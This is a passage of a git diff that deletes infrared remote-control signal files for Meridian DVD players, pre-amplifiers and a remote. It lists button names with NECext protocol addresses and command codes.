-protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3A 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: PHASE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3C 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: PREVIOUS_PAGE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: CHAPTER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 45 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 45 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 52 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 52 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5F 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 79 00 00 00 -# -name: TITRE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 79 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir deleted file mode 100644 index a9a19797c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir deleted file mode 100644 index 5deba9916..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir +++ /dev/null @@ -1,494 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0E 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 28 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 28 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3A 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: PHASE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3C 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 43 00 00 00 -# -name: CHAPTER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 44 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 45 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 45 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 52 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 52 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 57 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir deleted file mode 100644 index ddaac1b1c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: <>SRCH -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 4C 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6B 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6C 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6D 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6E 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 6F 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 70 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 71 00 00 00 -# -name: LP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 72 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 73 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 74 00 00 00 -# -name: CDR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 75 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir deleted file mode 100644 index d82447b8e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 33 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 34 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir deleted file mode 100644 index 7809740d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 56 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir deleted file mode 100644 index 5fe5061d9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir +++ /dev/null @@ -1,1130 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 0B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 0_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 0_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 1B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 1_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 1_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 2B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 2_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 2_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 3B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 3_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 3_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 4B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 4_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 4_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 5B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 5_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 5_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: 6B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: 6_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 7B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 7_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 7_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 8B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 8_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 8_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: 9B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: 9_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: 9_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 09 00 00 00 -# -name: PAGE_> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: PAGE_>_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0A 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0C 00 00 00 -# -name: OFF_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0C 00 00 00 -# -name: OFF_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0D 00 00 00 -# -name: F_BAND -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 0E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: VOL_UP_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: VOL_UP_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_-_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 -# -name: VOL_DOWN_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 -# -name: VOL_DOWN_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 11 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: CHAPTER_+B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: TRACK_+_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: TRACK_+_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: CHAPTER_-B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: TRACK_-_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: TRACK_-_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: AUDIO_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: F_AUDIO -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: STORE_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 2E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: PAUSE_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: PAUSE_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 30 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: CLEAR_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 31 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: REWIND_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: REW_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: REW_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 32 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: OSD_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: F_OSD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 33 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: FORWARD_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: FF_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: FF_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: PLAY_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: PLAY_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: STOP_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: STOP_A -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: RECORD_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 37 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3A 00 00 00 -# -name: ANGLE_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3A 00 00 00 -# -name: F_ANGLE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3A 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: A-B_B -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 3B 00 00 00 -# -name: 